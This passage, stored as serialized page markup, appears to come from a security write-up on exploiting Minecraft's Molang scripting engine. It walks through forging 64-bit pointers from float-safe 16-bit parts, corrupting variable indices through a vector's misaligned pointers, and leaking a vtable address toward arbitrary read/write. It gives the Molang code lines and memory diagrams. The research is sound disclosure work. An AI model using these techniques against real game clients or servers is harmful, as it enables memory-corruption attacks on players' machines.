",{"type":23,"tag":154,"props":155767,"children":155769},{"className":155768},[],[155770],{"type":29,"value":41208},{"type":29,"value":155688},{"type":23,"tag":154,"props":155773,"children":155775},{"className":155774},[],[155776],{"type":29,"value":155133},{"type":29,"value":155778}," starts at the lower 32 bits of the ",{"type":23,"tag":154,"props":155780,"children":155782},{"className":155781},[],[155783],{"type":29,"value":155203},{"type":29,"value":155785}," pointer, while ",{"type":23,"tag":154,"props":155787,"children":155789},{"className":155788},[],[155790],{"type":29,"value":155147},{"type":29,"value":155792}," starts at the upper 32 bits. This means we can store the upper 32 bits of the ",{"type":23,"tag":154,"props":155794,"children":155796},{"className":155795},[],[155797],{"type":29,"value":155203},{"type":29,"value":155799}," pointer in a separate variable:",{"type":23,"tag":4743,"props":155801,"children":155803},{"code":155802},"variable.saved_upper_32 = variable.b;\n",[155804],{"type":23,"tag":154,"props":155805,"children":155806},{"__ignoreMap":7},[155807],{"type":29,"value":155802},{"type":23,"tag":32,"props":155809,"children":155810},{},[155811],{"type":29,"value":155812},"Then we can modify the lower 32 bits of the pointer:",{"type":23,"tag":4743,"props":155814,"children":155816},{"code":155815},"variable.a = variable.a + itof(0x8);\n",[155817],{"type":23,"tag":154,"props":155818,"children":155819},{"__ignoreMap":7},[155820],{"type":29,"value":155815},{"type":23,"tag":32,"props":155822,"children":155823},{},[155824],{"type":29,"value":155825},"After this operation, the upper 32 bits are cleared while the lower bits are adjusted:",{"type":23,"tag":4743,"props":155827,"children":155829},{"code":155828},"                   +-------------+-------------+\n                   | a8 bb cc dd | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^             ^             \n+-------------+     |             |             \n| variable.a  +-----+             |             \n+-------------+                   |             \n| variable.b  +-------------------+                                     \n+-------------+                                 \n|    . . .    |                                 \n",[155830],{"type":23,"tag":154,"props":155831,"children":155832},{"__ignoreMap":7},[155833],{"type":29,"value":155828},{"type":23,"tag":32,"props":155835,"children":155836},{},[155837,155839,155844],{"type":29,"value":155838},"Since the 32 bits directly below the ",{"type":23,"tag":154,"props":155840,"children":155842},{"className":155841},[],[155843],{"type":29,"value":41208},{"type":29,"value":155845}," field remain untouched during assignment, we can simply restore the upper bits:",{"type":23,"tag":4743,"props":155847,"children":155849},{"code":155848},"variable.b = variable.saved_upper_32;\n",[155850],{"type":23,"tag":154,"props":155851,"children":155852},{"__ignoreMap":7},[155853],{"type":29,"value":155848},{"type":23,"tag":32,"props":155855,"children":155856},{},[155857,155859,155864],{"type":29,"value":155858},"Now ",{"type":23,"tag":154,"props":155860,"children":155862},{"className":155861},[],[155863],{"type":29,"value":155203},{"type":29,"value":155865}," pointer is restored and we've incremented it by 8, achieving the desired state:",{"type":23,"tag":4743,"props":155867,"children":155869},{"code":155868},"                   +-------------+-------------+\n                   | a8 bb cc dd | 80 1c 00 00 |\n                   +-------------+-------------+\n                    ^             ^             \n+-------------+     |             |             \n| variable.a  +-----+             |             \n+-------------+                   |             \n| variable.b  +-------------------+                                    \n+-------------+                                 \n|    . . .    |                                 \n",[155870],{"type":23,"tag":154,"props":155871,"children":155872},{"__ignoreMap":7},[155873],{"type":29,"value":155868},{"type":23,"tag":32,"props":155875,"children":155876},{},[155877,155879,155884],{"type":29,"value":155878},"This bypasses the issue of the upper 32 bits being cleared, but raises another question: how do we find a pointer to ",{"type":23,"tag":154,"props":155880,"children":155882},{"className":155881},[],[155883],{"type":29,"value":155751},{"type":29,"value":155885}," on the heap?",{"type":23,"tag":32,"props":155887,"children":155888},{},[155889,155891,155896,155898,155904],{"type":29,"value":155890},"Additionally, adding 8 to ",{"type":23,"tag":154,"props":155892,"children":155894},{"className":155893},[],[155895],{"type":29,"value":155133},{"type":29,"value":155897}," in the example above wouldn’t work because ",{"type":23,"tag":154,"props":155899,"children":155901},{"className":155900},[],[155902],{"type":29,"value":155903},"0xddccbba0",{"type":29,"value":155905}," is not a valid float. So the first issue still remains unresolved.",{"type":23,"tag":20944,"props":155907,"children":155909},{"id":155908},"the-final-approach",[155910],{"type":29,"value":155911},"The Final Approach",{"type":23,"tag":32,"props":155913,"children":155914},{},[155915,155917,155922,155924,155930],{"type":29,"value":155916},"We realized that instead of having the second pointer at ",{"type":23,"tag":154,"props":155918,"children":155920},{"className":155919},[],[155921],{"type":29,"value":155751},{"type":29,"value":155923},", we could instead have it at ",{"type":23,"tag":154,"props":155925,"children":155927},{"className":155926},[],[155928],{"type":29,"value":155929},"MolangVariableMap + 2",{"type":29,"value":155931},", which would resolve both of our issues.",{"type":23,"tag":32,"props":155933,"children":155934},{},[155935,155937,155942,155943,155948],{"type":29,"value":155936},"Let’s revisit the previous example, but this time ",{"type":23,"tag":154,"props":155938,"children":155940},{"className":155939},[],[155941],{"type":29,"value":155147},{"type":29,"value":155732},{"type":23,"tag":154,"props":155944,"children":155946},{"className":155945},[],[155947],{"type":29,"value":155929},{"type":29,"value":6533},{"type":23,"tag":4743,"props":155950,"children":155952},{"code":155951},"                   +-------------+-------------+\n                   | a0 bb cc dd | 80 1c 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                                             \n+-------------+                                 \n|    . . .    |                                 \n",[155953],{"type":23,"tag":154,"props":155954,"children":155955},{"__ignoreMap":7},[155956],{"type":29,"value":155951},{"type":23,"tag":32,"props":155958,"children":155959},{},[155960,155962,155967],{"type":29,"value":155961},"With this setup, we can calculate any address relative to ",{"type":23,"tag":154,"props":155963,"children":155965},{"className":155964},[],[155966],{"type":29,"value":155203},{"type":29,"value":155968}," by first saving the upper 48 bits of the address:",{"type":23,"tag":4743,"props":155970,"children":155972},{"code":155971},"variable.saved_upper_48 = variable.b;\n",[155973],{"type":23,"tag":154,"props":155974,"children":155975},{"__ignoreMap":7},[155976],{"type":29,"value":155971},{"type":23,"tag":32,"props":155978,"children":155979},{},[155980,155981,155987,155989,155995],{"type":29,"value":131609},{"type":23,"tag":154,"props":155982,"children":155984},{"className":155983},[],[155985],{"type":29,"value":155986},"variable.saved_upper_48",{"type":29,"value":155988}," holds the value ",{"type":23,"tag":154,"props":155990,"children":155992},{"className":155991},[],[155993],{"type":29,"value":155994},"0x1c80ddcc",{"type":29,"value":357},{"type":23,"tag":32,"props":155997,"children":155998},{},[155999],{"type":29,"value":156000},"To fix our earlier problem of being unable to increment invalid float values, we can simply clear the upper 48 bits:",{"type":23,"tag":4743,"props":156002,"children":156004},{"code":156003},"variable.b = 0;\n",[156005],{"type":23,"tag":154,"props":156006,"children":156007},{"__ignoreMap":7},[156008],{"type":29,"value":156003},{"type":23,"tag":32,"props":156010,"children":156011},{},[156012],{"type":29,"value":156013},"Resulting in the following state:",{"type":23,"tag":4743,"props":156015,"children":156017},{"code":156016},"                   +-------------+-------------+\n                   | a0 bb 00 00 | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                                            \n+-------------+                                 \n|    . . .    |                                 \n",[156018],{"type":23,"tag":154,"props":156019,"children":156020},{"__ignoreMap":7},[156021],{"type":29,"value":156016},{"type":23,"tag":32,"props":156023,"children":156024},{},[156025,156027,156032,156034,156040,156042,156047],{"type":29,"value":156026},"Now, the value of ",{"type":23,"tag":154,"props":156028,"children":156030},{"className":156029},[],[156031],{"type":29,"value":155133},{"type":29,"value":156033}," only spans 16 bits (",{"type":23,"tag":154,"props":156035,"children":156037},{"className":156036},[],[156038],{"type":29,"value":156039},"0xbba0",{"type":29,"value":156041}," specifically), which is always a valid float since it’s far below ",{"type":23,"tag":154,"props":156043,"children":156045},{"className":156044},[],[156046],{"type":29,"value":155631},{"type":29,"value":357},{"type":23,"tag":32,"props":156049,"children":156050},{},[156051,156053,156058],{"type":29,"value":156052},"We can now safely adjust the lower 16 bits of the pointer by incrementing ",{"type":23,"tag":154,"props":156054,"children":156056},{"className":156055},[],[156057],{"type":29,"value":155133},{"type":29,"value":6533},{"type":23,"tag":4743,"props":156060,"children":156061},{"code":155815},[156062],{"type":23,"tag":154,"props":156063,"children":156064},{"__ignoreMap":7},[156065],{"type":29,"value":155815},{"type":23,"tag":32,"props":156067,"children":156068},{},[156069],{"type":29,"value":156070},"Which results in:",{"type":23,"tag":4743,"props":156072,"children":156074},{"code":156073},"                   +-------------+-------------+\n                   | a8 bb 00 00 | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                                            \n+-------------+                                 \n|    . . .    |                                 \n",[156075],{"type":23,"tag":154,"props":156076,"children":156077},{"__ignoreMap":7},[156078],{"type":29,"value":156073},{"type":23,"tag":32,"props":156080,"children":156081},{},[156082],{"type":29,"value":156083},"If we only wanted to increment the pointer by 8, we could finish by restoring the upper 48 bits:",{"type":23,"tag":4743,"props":156085,"children":156087},{"code":156086},"variable.b = variable.saved_upper_48;\n",[156088],{"type":23,"tag":154,"props":156089,"children":156090},{"__ignoreMap":7},[156091],{"type":29,"value":156086},{"type":23,"tag":32,"props":156093,"children":156094},{},[156095],{"type":29,"value":156096},"Yielding a valid pointer again:",{"type":23,"tag":4743,"props":156098,"children":156100},{"code":156099},"                   +-------------+-------------+\n                   | a8 bb cc dd | 80 1c 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                                             \n+-------------+                                 \n|    . . .    |                                 \n",[156101],{"type":23,"tag":154,"props":156102,"children":156103},{"__ignoreMap":7},[156104],{"type":29,"value":156099},{"type":23,"tag":32,"props":156106,"children":156107},{},[156108],{"type":29,"value":156109},"However, if we wanted to increment the pointer by a value larger than 16 bits can represent, we would continue by first saving the adjusted lower 16 bits:",{"type":23,"tag":4743,"props":156111,"children":156113},{"code":156112},"variable.saved_adjusted_lower_16 = variable.a;\n",[156114],{"type":23,"tag":154,"props":156115,"children":156116},{"__ignoreMap":7},[156117],{"type":29,"value":156112},{"type":23,"tag":32,"props":156119,"children":156120},{},[156121],{"type":29,"value":156122},"Next, we need to extract the middle and upper 16 bits of the address. We start by restoring the previously saved upper 48 bits:",{"type":23,"tag":4743,"props":156124,"children":156126},{"code":156125},"variable.a = variable.saved_upper_48;\n",[156127],{"type":23,"tag":154,"props":156128,"children":156129},{"__ignoreMap":7},[156130],{"type":29,"value":156125},{"type":23,"tag":32,"props":156132,"children":156133},{},[156134],{"type":29,"value":156135},"This produces the following state:",{"type":23,"tag":4743,"props":156137,"children":156139},{"code":156138},"                   +-------------+-------------+\n                   | cc dd 80 1c | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                     \n+-------------+                                 \n|    . . .    |                                 \n",[156140],{"type":23,"tag":154,"props":156141,"children":156142},{"__ignoreMap":7},[156143],{"type":29,"value":156138},{"type":23,"tag":32,"props":156145,"children":156146},{},[156147,156149,156154,156156,156162,156164,156170,156172,156177,156179,156184],{"type":29,"value":156148},"As shown, ",{"type":23,"tag":154,"props":156150,"children":156152},{"className":156151},[],[156153],{"type":29,"value":155147},{"type":29,"value":156155}," now contains the upper 16 bits of the address (",{"type":23,"tag":154,"props":156157,"children":156159},{"className":156158},[],[156160],{"type":29,"value":156161},"0x1c80",{"type":29,"value":156163},"), which we can store as ",{"type":23,"tag":154,"props":156165,"children":156167},{"className":156166},[],[156168],{"type":29,"value":156169},"variable.saved_upper_16 = variable.b",{"type":29,"value":156171},". Meanwhile, ",{"type":23,"tag":154,"props":156173,"children":156175},{"className":156174},[],[156176],{"type":29,"value":155133},{"type":29,"value":156178}," contains both the middle and upper 16 bits. To isolate the middle bits, we simply clear ",{"type":23,"tag":154,"props":156180,"children":156182},{"className":156181},[],[156183],{"type":29,"value":155147},{"type":29,"value":6533},{"type":23,"tag":4743,"props":156186,"children":156187},{"code":156003},[156188],{"type":23,"tag":154,"props":156189,"children":156190},{"__ignoreMap":7},[156191],{"type":29,"value":156003},{"type":23,"tag":32,"props":156193,"children":156194},{},[156195],{"type":29,"value":156196},"Leaving us with:",{"type":23,"tag":4743,"props":156198,"children":156200},{"code":156199},"                   +-------------+-------------+\n                   | cc dd 00 00 | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                     \n+-------------+                                 \n|    . . .    |                                 \n",[156201],{"type":23,"tag":154,"props":156202,"children":156203},{"__ignoreMap":7},[156204],{"type":29,"value":156199},{"type":23,"tag":32,"props":156206,"children":156207},{},[156208],{"type":29,"value":156209},"We can now save the middle 16 bits:",{"type":23,"tag":4743,"props":156211,"children":156213},{"code":156212},"variable.saved_middle_16 = variable.a;\n",[156214],{"type":23,"tag":154,"props":156215,"children":156216},{"__ignoreMap":7},[156217],{"type":29,"value":156212},{"type":23,"tag":32,"props":156219,"children":156220},{},[156221],{"type":29,"value":156222},"At this point, we have:",{"type":23,"tag":4743,"props":156224,"children":156226},{"code":156225},"variable.saved_adjusted_lower_16 = 0xbba8\nvariable.saved_middle_16 = 0xddcc\nvariable.saved_upper_16 = 0x1c80\n",[156227],{"type":23,"tag":154,"props":156228,"children":156229},{"__ignoreMap":7},[156230],{"type":29,"value":156225},{"type":23,"tag":32,"props":156232,"children":156233},{},[156234],{"type":29,"value":156235},"All three parts are valid float values, ensuring deterministic calculations.",{"type":23,"tag":32,"props":156237,"children":156238},{},[156239],{"type":29,"value":156240},"If we needed to increment the pointer by more than the maximum 16-bit value, we would simply increment the middle and upper parts accordingly:",{"type":23,"tag":4743,"props":156242,"children":156244},{"code":156243},"variable.saved_adjusted_middle_16 = variable.saved_middle_16 + itof(0x1);\nvariable.saved_adjusted_upper_16 = variable.saved_upper_16 + itof(0x1);\n",[156245],{"type":23,"tag":154,"props":156246,"children":156247},{"__ignoreMap":7},[156248],{"type":29,"value":156243},{"type":23,"tag":32,"props":156250,"children":156251},{},[156252],{"type":29,"value":156253},"After modifying the three 16-bit parts, we can reconstruct the full pointer by reversing the extraction process. We start by forging the upper 48 bits:",{"type":23,"tag":4743,"props":156255,"children":156257},{"code":156256},"variable.a = variable.saved_adjusted_middle_16;\n",[156258],{"type":23,"tag":154,"props":156259,"children":156260},{"__ignoreMap":7},[156261],{"type":29,"value":156256},{"type":23,"tag":32,"props":156263,"children":156264},{},[156265,156267,156272,156273,156279,156280,156286],{"type":29,"value":156266},"Setting ",{"type":23,"tag":154,"props":156268,"children":156270},{"className":156269},[],[156271],{"type":29,"value":155133},{"type":29,"value":58837},{"type":23,"tag":154,"props":156274,"children":156276},{"className":156275},[],[156277],{"type":29,"value":156278},"0xddcd",{"type":29,"value":5110},{"type":23,"tag":154,"props":156281,"children":156283},{"className":156282},[],[156284],{"type":29,"value":156285},"0xddcc + 1",{"type":29,"value":156287},"), and then:",{"type":23,"tag":4743,"props":156289,"children":156291},{"code":156290},"variable.b = variable.saved_adjusted_upper_16;\n",[156292],{"type":23,"tag":154,"props":156293,"children":156294},{"__ignoreMap":7},[156295],{"type":29,"value":156290},{"type":23,"tag":32,"props":156297,"children":156298},{},[156299,156301,156306,156308,156314,156315,156321],{"type":29,"value":156300},"Resulting in ",{"type":23,"tag":154,"props":156302,"children":156304},{"className":156303},[],[156305],{"type":29,"value":155147},{"type":29,"value":156307}," value becoming ",{"type":23,"tag":154,"props":156309,"children":156311},{"className":156310},[],[156312],{"type":29,"value":156313},"0x1c81",{"type":29,"value":5110},{"type":23,"tag":154,"props":156316,"children":156318},{"className":156317},[],[156319],{"type":29,"value":156320},"0x1c80 + 1",{"type":29,"value":25998},{"type":23,"tag":4743,"props":156323,"children":156325},{"code":156324},"                   +-------------+-------------+\n                   | cd dd 81 1c | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                     \n+-------------+                                 \n|    . . .    | \n",[156326],{"type":23,"tag":154,"props":156327,"children":156328},{"__ignoreMap":7},[156329],{"type":29,"value":156324},{"type":23,"tag":32,"props":156331,"children":156332},{},[156333],{"type":29,"value":156334},"Now we save the adjusted upper 48 bits:",{"type":23,"tag":4743,"props":156336,"children":156338},{"code":156337},"variable.saved_adjusted_upper_48 = variable.a;\n",[156339],{"type":23,"tag":154,"props":156340,"children":156341},{"__ignoreMap":7},[156342],{"type":29,"value":156337},{"type":23,"tag":32,"props":156344,"children":156345},{},[156346],{"type":29,"value":156347},"Finally, we attach the lower 16 bits:",{"type":23,"tag":4743,"props":156349,"children":156351},{"code":156350},"variable.a = variable.saved_adjusted_lower_16;\n",[156352],{"type":23,"tag":154,"props":156353,"children":156354},{"__ignoreMap":7},[156355],{"type":29,"value":156350},{"type":23,"tag":4743,"props":156357,"children":156359},{"code":156358},"                   +-------------+-------------+\n                   | a8 bb 00 00 | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                     \n+-------------+                                 \n|    . . .    | \n",[156360],{"type":23,"tag":154,"props":156361,"children":156362},{"__ignoreMap":7},[156363],{"type":29,"value":156358},{"type":23,"tag":32,"props":156365,"children":156366},{},[156367],{"type":29,"value":156368},"And by setting:",{"type":23,"tag":4743,"props":156370,"children":156372},{"code":156371},"variable.b = variable.saved_adjusted_upper_48;\n",[156373],{"type":23,"tag":154,"props":156374,"children":156375},{"__ignoreMap":7},[156376],{"type":29,"value":156371},{"type":23,"tag":32,"props":156378,"children":156379},{},[156380],{"type":29,"value":156381},"We forge the final adjusted pointer:",{"type":23,"tag":4743,"props":156383,"children":156385},{"code":156384},"                   +-------------+-------------+\n                   | a8 bb cd dd | 81 1c 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                     \n+-------------+                                 \n|    . . .    | \n",[156386],{"type":23,"tag":154,"props":156387,"children":156388},{"__ignoreMap":7},[156389],{"type":29,"value":156384},{"type":23,"tag":20844,"props":156391,"children":156392},{},[],{"type":23,"tag":32,"props":156394,"children":156395},{},[156396,156398,156403],{"type":29,"value":156397},"With this, we now have a method to calculate any pointer we want. However, the previous question still remains: how do we find a pointer to ",{"type":23,"tag":154,"props":156399,"children":156401},{"className":156400},[],[156402],{"type":29,"value":155929},{"type":29,"value":155885},{"type":23,"tag":32,"props":156405,"children":156406},{},[156407,156409,156414,156416,156421,156423,156429,156431,156436],{"type":29,"value":156408},"Eventually, we realized that we don’t necessarily need a pointer to ",{"type":23,"tag":154,"props":156410,"children":156412},{"className":156411},[],[156413],{"type":29,"value":155929},{"type":29,"value":156415},". Instead, we need any two pointers on the heap - one pointing to ",{"type":23,"tag":154,"props":156417,"children":156419},{"className":156418},[],[156420],{"type":29,"value":32742},{"type":29,"value":156422}," and the other to ",{"type":23,"tag":154,"props":156424,"children":156426},{"className":156425},[],[156427],{"type":29,"value":156428},"addr + 2",{"type":29,"value":156430}," (as long as ",{"type":23,"tag":154,"props":156432,"children":156434},{"className":156433},[],[156435],{"type":29,"value":32742},{"type":29,"value":156437}," lies within a writable region). The idea is to use these two pointers as a workspace where we can split, manipulate, and reconstruct a pointer.",{"type":23,"tag":32,"props":156439,"children":156440},{},[156441,156443,156448,156449,156454],{"type":29,"value":156442},"In this case, we need to corrupt an index of an additional (third) variable and make it index the ",{"type":23,"tag":154,"props":156444,"children":156446},{"className":156445},[],[156447],{"type":29,"value":151903},{"type":29,"value":155688},{"type":23,"tag":154,"props":156450,"children":156452},{"className":156451},[],[156453],{"type":29,"value":154707},{"type":29,"value":156455}," - once the new pointer is forged we can use this variable to assign it the forged pointer:",{"type":23,"tag":4743,"props":156457,"children":156459},{"code":156458},"variable.corrupted_var_map_ptr = variable.a;\n",[156460],{"type":23,"tag":154,"props":156461,"children":156462},{"__ignoreMap":7},[156463],{"type":29,"value":156458},{"type":23,"tag":32,"props":156465,"children":156466},{},[156467,156469,156474,156476,156482],{"type":29,"value":156468},"As mentioned earlier, this operation copies the entire 64-bit ",{"type":23,"tag":154,"props":156470,"children":156472},{"className":156471},[],[156473],{"type":29,"value":41208},{"type":29,"value":156475}," field (in this case, the reconstructed pointer) and writes it to ",{"type":23,"tag":154,"props":156477,"children":156479},{"className":156478},[],[156480],{"type":29,"value":156481},"variable.corrupted_var_map_ptr",{"type":29,"value":156483},", even though the type itself is only a 32-bit float.",{"type":23,"tag":20944,"props":156485,"children":156487},{"id":156486},"finding-misaligned-pointers",[156488],{"type":29,"value":156489},"Finding Misaligned Pointers",{"type":23,"tag":32,"props":156491,"children":156492},{},[156493,156495,156500,156501,156507],{"type":29,"value":156494},"This step requires a heap-sprayable structure that contains two pointers separated by two bytes (",{"type":23,"tag":154,"props":156496,"children":156498},{"className":156497},[],[156499],{"type":29,"value":15995},{"type":29,"value":4478},{"type":23,"tag":154,"props":156502,"children":156504},{"className":156503},[],[156505],{"type":29,"value":156506},"ptr + 2",{"type":29,"value":156508},"). Fortunately, we didn’t have to look far as we were already familiar with a suitable structure.",{"type":23,"tag":32,"props":156510,"children":156511},{},[156512,156517,156518,156523,156525,156530,156532,156537,156539,156544,156546,156551,156553,156559,156560,156565],{"type":23,"tag":154,"props":156513,"children":156515},{"className":156514},[],[156516],{"type":29,"value":154883},{"type":29,"value":17490},{"type":23,"tag":154,"props":156519,"children":156521},{"className":156520},[],[156522],{"type":29,"value":154906},{"type":29,"value":156524}," found inside every entity object. As noted earlier, a ",{"type":23,"tag":154,"props":156526,"children":156528},{"className":156527},[],[156529],{"type":29,"value":154737},{"type":29,"value":156531}," contains three pointers: ",{"type":23,"tag":154,"props":156533,"children":156535},{"className":156534},[],[156536],{"type":29,"value":151903},{"type":29,"value":156538}," (the start of the allocated buffer), ",{"type":23,"tag":154,"props":156540,"children":156542},{"className":156541},[],[156543],{"type":29,"value":11186},{"type":29,"value":156545}," (just past the last element) and ",{"type":23,"tag":154,"props":156547,"children":156549},{"className":156548},[],[156550],{"type":29,"value":154836},{"type":29,"value":156552}," (the end of the allocated buffer). Because the element type is ",{"type":23,"tag":154,"props":156554,"children":156556},{"className":156555},[],[156557],{"type":29,"value":156558},"uint16_t",{"type":29,"value":104076},{"type":23,"tag":154,"props":156561,"children":156563},{"className":156562},[],[156564],{"type":29,"value":11186},{"type":29,"value":156566}," pointer advances by 2 bytes each time a new element is added.",{"type":23,"tag":32,"props":156568,"children":156569},{},[156570,156572,156577,156579,156585],{"type":29,"value":156571},"We can make the ",{"type":23,"tag":154,"props":156573,"children":156575},{"className":156574},[],[156576],{"type":29,"value":11186},{"type":29,"value":156578}," pointer equal to ",{"type":23,"tag":154,"props":156580,"children":156582},{"className":156581},[],[156583],{"type":29,"value":156584},"cap - 2",{"type":29,"value":156586}," by adding elements until the vector is one element short of full. In practice this is done by filling the entity with previously unseen variables.",{"type":23,"tag":4743,"props":156588,"children":156590},{"code":156589},"                         +-> +---------------+\n                         |   |               |\n                         |   |     . . .     |\n                         |   |               |\n                         |   +-------+-------+\n                         |   | 00 f0 | 00 f1 |\n                         |   +-------+-------+\n                         |   | 00 f2 | 00 f3 |\n                         |   +-------+-------+\n  std::vector\u003Cuint16_t>  |   | 00 f4 | 00 f5 |\n     MolangIndexMap      |   +-------+-------+\n    +----------------+   |   | 00 f6 | 00 00 |\nbuf | 0x1c54f7a13200 | --+   +-------+-------+\n    +----------------+               ^       ^\nlen | 0x1c54f7a13306 | --------------+       |\n    +----------------+                       |\ncap | 0x1c54f7a13308 | ----------------------+\n    +----------------+                        \n",[156591],{"type":23,"tag":154,"props":156592,"children":156593},{"__ignoreMap":7},[156594],{"type":29,"value":156589},{"type":23,"tag":20844,"props":156596,"children":156597},{},[],{"type":23,"tag":32,"props":156599,"children":156600},{},[156601,156603,156608,156610,156615,156617,156622,156624,156629,156630,156635],{"type":29,"value":156602},"To summarize - the final setup will require overwriting indices of three variables: one that would index the ",{"type":23,"tag":154,"props":156604,"children":156606},{"className":156605},[],[156607],{"type":29,"value":151903},{"type":29,"value":156609}," pointer of ",{"type":23,"tag":154,"props":156611,"children":156613},{"className":156612},[],[156614],{"type":29,"value":154707},{"type":29,"value":156616}," in the entity object above, one that would index ",{"type":23,"tag":154,"props":156618,"children":156620},{"className":156619},[],[156621],{"type":29,"value":11186},{"type":29,"value":156623}," and the final ",{"type":23,"tag":154,"props":156625,"children":156627},{"className":156626},[],[156628],{"type":29,"value":154836},{"type":29,"value":156609},{"type":23,"tag":154,"props":156631,"children":156633},{"className":156632},[],[156634],{"type":29,"value":154883},{"type":29,"value":156636}," also in the same entity object above.",{"type":23,"tag":32,"props":156638,"children":156639},{},[156640,156642,156648,156649,156655,156657,156662,156663,156668,156670,156675,156677,156682,156683,156688,156690,156695],{"type":29,"value":156641},"The corrupted variables ",{"type":23,"tag":154,"props":156643,"children":156645},{"className":156644},[],[156646],{"type":29,"value":156647},"variable.corrupted_len_ptr",{"type":29,"value":4478},{"type":23,"tag":154,"props":156650,"children":156652},{"className":156651},[],[156653],{"type":29,"value":156654},"variable.corrupted_cap_ptr",{"type":29,"value":156656}," point to ",{"type":23,"tag":154,"props":156658,"children":156660},{"className":156659},[],[156661],{"type":29,"value":11186},{"type":29,"value":4478},{"type":23,"tag":154,"props":156664,"children":156666},{"className":156665},[],[156667],{"type":29,"value":154836},{"type":29,"value":156669},", respectively - they are two bytes apart. With these two we can compute arbitrary pointers using the method previously described. The third corrupted variable, ",{"type":23,"tag":154,"props":156671,"children":156673},{"className":156672},[],[156674],{"type":29,"value":156481},{"type":29,"value":156676},", points to the ",{"type":23,"tag":154,"props":156678,"children":156680},{"className":156679},[],[156681],{"type":29,"value":151903},{"type":29,"value":155688},{"type":23,"tag":154,"props":156684,"children":156686},{"className":156685},[],[156687],{"type":29,"value":154707},{"type":29,"value":156689},"; it is used to copy the calculated pointer into the allocated buffer of ",{"type":23,"tag":154,"props":156691,"children":156693},{"className":156692},[],[156694],{"type":29,"value":154707},{"type":29,"value":156696},", which in turn lets us overwrite a pointer of a different (fourth) variable. That fourth corrupted variable is what we ultimately use for arbitrary read/write.",{"type":23,"tag":32,"props":156698,"children":156699},{},[156700],{"type":29,"value":156701},"Before we can do any arbitrary memory operations, however, we need a leak - ideally the address of any Minecraft executable region - that lets us perform arbitrary reads and writes into the target memory region.",{"type":23,"tag":20944,"props":156703,"children":156705},{"id":156704},"leaking-pointers",[156706],{"type":29,"value":156707},"Leaking Pointers",{"type":23,"tag":32,"props":156709,"children":156710},{},[156711,156713,156719],{"type":29,"value":156712},"In C++, an object’s first field is typically a ",{"type":23,"tag":154,"props":156714,"children":156716},{"className":156715},[],[156717],{"type":29,"value":156718},"vtable",{"type":29,"value":156720}," pointer - a pointer into a read-only region of the executable in memory. That means the first field of the entity object contains an address inside the Minecraft executable, and we want to recover that value from our Molang script.",{"type":23,"tag":4743,"props":156722,"children":156724},{"code":156723},"                                 Entity Object       \n                                                     \n                          +------------+------------+\n                          | vtable ptr |            |\n                          +------------+            |\n                          |                         |\n                          |                         |\n                          |                         |\n                          |                         |\n                          |                         |\n                          |                         |\n                      +-> +------------+------------+\n                      |   |    buf     |    len     |\n      MolangIndexMap -+   +------------+------------+\n                      |   |    cap     |            |\n                   +--+-> +------------+------------+\n                   |      |    buf     |    len     |\nMolangVariableMap -+      +------------+------------+\n                   |      |    cap     |            |\n                   +----> +------------+            |\n                          |                         |\n                          +-------------------------+\n",[156725],{"type":23,"tag":154,"props":156726,"children":156727},{"__ignoreMap":7},[156728],{"type":29,"value":156723},{"type":23,"tag":32,"props":156730,"children":156731},{},[156732,156733,156738,156740,156745,156747,156752,156754,156759,156761,156766,156767,156772,156774,156779],{"type":29,"value":18661},{"type":23,"tag":154,"props":156734,"children":156736},{"className":156735},[],[156737],{"type":29,"value":41208},{"type":29,"value":156739}," field inside a ",{"type":23,"tag":154,"props":156741,"children":156743},{"className":156742},[],[156744],{"type":29,"value":154380},{"type":29,"value":156746}," is at offset ",{"type":23,"tag":154,"props":156748,"children":156750},{"className":156749},[],[156751],{"type":29,"value":154641},{"type":29,"value":156753},". We already control a corrupted variable, ",{"type":23,"tag":154,"props":156755,"children":156757},{"className":156756},[],[156758],{"type":29,"value":156647},{"type":29,"value":156760},", whose target we can shift by adding unseen variables: each unseen variable increments the ",{"type":23,"tag":154,"props":156762,"children":156764},{"className":156763},[],[156765],{"type":29,"value":11186},{"type":29,"value":155688},{"type":23,"tag":154,"props":156768,"children":156770},{"className":156769},[],[156771],{"type":29,"value":154883},{"type":29,"value":156773}," by 2 bytes, which in turn advances ",{"type":23,"tag":154,"props":156775,"children":156777},{"className":156776},[],[156778],{"type":29,"value":156647},{"type":29,"value":156780}," by 2 bytes.",{"type":23,"tag":32,"props":156782,"children":156783},{},[156784,156786,156791,156793,156799,156800,156805,156806,156811,156813,156818],{"type":29,"value":156785},"By moving ",{"type":23,"tag":154,"props":156787,"children":156789},{"className":156788},[],[156790],{"type":29,"value":11186},{"type":29,"value":156792}," so it equals ",{"type":23,"tag":154,"props":156794,"children":156796},{"className":156795},[],[156797],{"type":29,"value":156798},"cap - 0x38",{"type":29,"value":104076},{"type":23,"tag":154,"props":156801,"children":156803},{"className":156802},[],[156804],{"type":29,"value":41208},{"type":29,"value":155688},{"type":23,"tag":154,"props":156807,"children":156809},{"className":156808},[],[156810],{"type":29,"value":156647},{"type":29,"value":156812}," will overlap the first 8 bytes of the adjacent heap chunk above - in our case, the entity object 